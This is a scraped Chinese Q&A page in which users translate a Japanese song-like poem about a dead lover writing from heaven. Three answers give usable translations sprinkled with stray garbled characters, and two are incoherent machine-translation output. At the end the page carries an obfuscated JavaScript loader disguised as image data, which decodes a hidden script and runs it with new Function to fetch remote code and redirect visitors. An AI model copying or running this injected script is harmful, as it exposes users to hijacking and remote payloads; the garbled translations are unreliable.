请进来翻译一首日语诗歌。

2024-12-09 23:55:42
推荐回答(5个)
回答(1):

我试试!

hello,在天堂曾经写过信给你,
想看到你满脸惊诧的样子,
即使再也不能紧紧地抱住你颤动的肩膀,
却仍想重温一下那种感觉。

风儿在拨动琴弦,那是我在为你弹奏
如果突然下起了雨,那也是我在为你哭泣
我已化成小小的尘埃,小到让人无法见到,却一直守候在你身旁。

hello,我从天堂望下去,看到你,
你还是那么的漂亮。
能经常的想起我,我就已经很满足,
你依然要开心的活下去 。

不必介意会爱上谁,
我相信你会拿出活下去的勇气,
用你光鲜的笑容,去期待美好生活的眷顾。

我已变成透明的尘埃,就算有一天我连自己的名字都不再拥有
也不会忘记和你相恋的美好时光。

不必介意明天会是什么样子,
我相信你会拿出活下去的勇气,
用你光鲜的笑容,去期待美好生活的眷顾。

如果你身上的香水气味依然如此,那是我在为你散蚂手播,
如果你还会听那首老歌,那是我在为你倾情演绎。
我已化成唤盯小小的尘埃,小到让人无法见到,却一直守候在你身旁。

呵呵,翻译完了感觉像流行和物和歌曲,不像诗。
希望能够帮到你!

回答(2):

基本直译……

hello 为了看你惊讶的样子
我在天国写了这封信给你
虽然不能再拥抱你颤抖的双肩
我却希望你能感受到

吹动你耳环的风是我
突然而降的骤雨也是因我而起
我是谁见看不见的小小的金色离子 陪在你身边

hello 在天国遥望你的样子
果然美丽非常
我的事情,偶尔想起便好
我希望你再次绽放笑颜

不要放弃去爱
让我看到你生活下去的勇气吧 我相信你可以
在你闪闪发光的面前 金色的日子在等待

消失了身形的我即使失去了罪责和名字
与你相恋过 这样幸福的事情 绝不会忘记

不要放弃去寻找明天
让我看到你生活下去的勇气吧 我相信你可以
在你闪闪发光的面前 金色的日子在等待

如果嗅到熟悉的气味 那是我在你身边
如果在电台中听到了那首乐曲 也是陪旦我的原因
如同谁也看不见的小小的金色离子 陪在你身边
--------------------------------

于是加工了一下

你好吗,我在天国写下这封信
只是为了看到你惊讶的容颜
即便不能再拥抱你颤抖的双肩
我希望你能感觉到(我的温暖)

吹动你耳坠的风是我的化身
突如其来的骤雨是我的意愿
我是那小小的金色迟乱源离子 无法看见 却陪在你身边

你好吗,我在天国每次看到你
都会觉得你果然是最美
我的事情,偶尔想起便好
我希望你再码态次绽放笑颜

不要放弃去爱
勇敢的活下去 我相信你可以
抬起你神采奕奕的面容 金色的未来正在等待

消失了身形的我 即使连罪与名也失去
与你相恋这样的幸福的过往 绝不会忘怀

不要放弃寻找未来
勇敢的活下去 我相信你可以
抬起你神采奕奕的面容 金色的未来正在等待

熟悉的气息环绕的时候 那是我在你身边
那首乐曲在电台响起时 那是我的思念
我是那小小的金色离子 无法看见 却陪在你身边

回答(3):

Hello

ハロー 天国で手纸を书いた
hello 在天堂给你写了封信

君の惊く颜が见たくて
想看到你吃惊的表情

震える肩を抱きしめることはもうできないけど
虽然已无法再紧紧拥住你颤抖的双肩

感じて欲しい
却还是想感受它

ピアスを揺らした风 それは仆だよ
吹动你耳环叮当作响的风 是我幻化而成的

もしも急に雨が降れば それは仆のせい
如果突然下起了暴雨 那便是我的错

谁にも见えないほど小さな金色のイオン そばにいる
幻化为小到谁都无法看到的金色微粒 守护在你身边

ハロー 天国から君を见てたら
hello 在天堂注视着你

やっぱりとてもキレイだった
你果然还是如此的美丽

仆のこと思い出すのはときどきでいいから
偶尔想起我就足够了

また笑ってほしい
不愿你悲伤 想再次看到你的笑容

谁かを爱すること あきらめないで
不要放弃去爱一个人

生きていく勇気见せて 君を信じてる
相信你一定能拿出活下去的勇气

きらきら光るその頬に 金色の日々が待ってる
光芒闪烁的脸颊上 金色的每一天在等着你

透明になった仆がいつの日か 罪や名前をなくしても
变得透明的我总有那么一天 犯下的错和搭手梁名字都会化为乌有

幸せだった事を忘れない 君に恋をしたことを
但是曾经的幸福时光 跟你恋爱的日子是永远不会忘记的

明日を见つめること あきらめないで
不要放弃对明天美好未来的憧憬

生きていく勇気见せて 君を信じてる
相信你一定能拿出活下去的勇气

きらきら光るその頬に 金色の日々が待ってる
光芒闪烁的脸颊上 金色的每一天在等着你

懐かしい匂いがしたら それは仆だよ
如果闻到了熟悉的味道 那也是我幻化而成的哦

ラジオであの曲を聴いたら それは仆のせい
如果在电视上听到了那首曲子 那便是我的错

谁薯弊にも见えないほど小さな金色のイオン そばにいる
幻化为小到谁都无法看到的金色微粒知运 守护在你身边

回答(4):

书纸已在天上晕手
区惊颜的你有一个见大沽
我不能拥抱的肩膀动摇其他
我想感受

余穿它是震撼风仆
当卜碧缺下雨时,因为是突然仆Moshimo
金离子足够小,不必关闭至E谁韦亚

您好你从天慧陆上Tetara韦亚
非常漂亮Yappari
我记得从仆在不同时间
我想笑,

不要放弃你爱谁
我相信你的生活的勇气他们韦亚
金光闪闪的太阳发光的等待人民的脸颊

如果没有罪的名称和有一天会成为一个透明的仆
不要忘记,你喜欢的东西的快乐

不要放弃明天制定出韦亚
我相信你的生活的勇气他们韦亚
金光闪闪的太阳发光的等待人民的脸颊

我很怀念它的气味时,仆
听型辩到一首歌在电台,这是由于仆是
金离子足够小,不必关闭至E谁韦亚

回答(5):

您好
拥抱与辜濂松的肩膀大沽惊颜见你握手在天上有一纸书手风您好轰动它刺穿,但不想再当感到突然下雨,因为Moshimo谁的仆仆的仆记得非常漂亮滑余Yappari Tetara韦亚从天堂您好,您附近的金离子韦亚E也并不小,生活在有想谁爱是否不时和良好的笑阳光明媚的脸颊,我相信你会有勇气韦亚,我们的人民是幸福的爱情,即使你忘记的东西,失去的罪恶的名字金信派滚发光仆一天我等待透明金太阳光辉的脸颊,我相信你韦亚我们放弃生存的勇气,羡乎在明天的工作进行韦亚,如果我们错过了气味的歌曲,它在电台上听到的等待光明,因为我是仆仆金离子是足够小,不必关闭至E谁韦亚。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();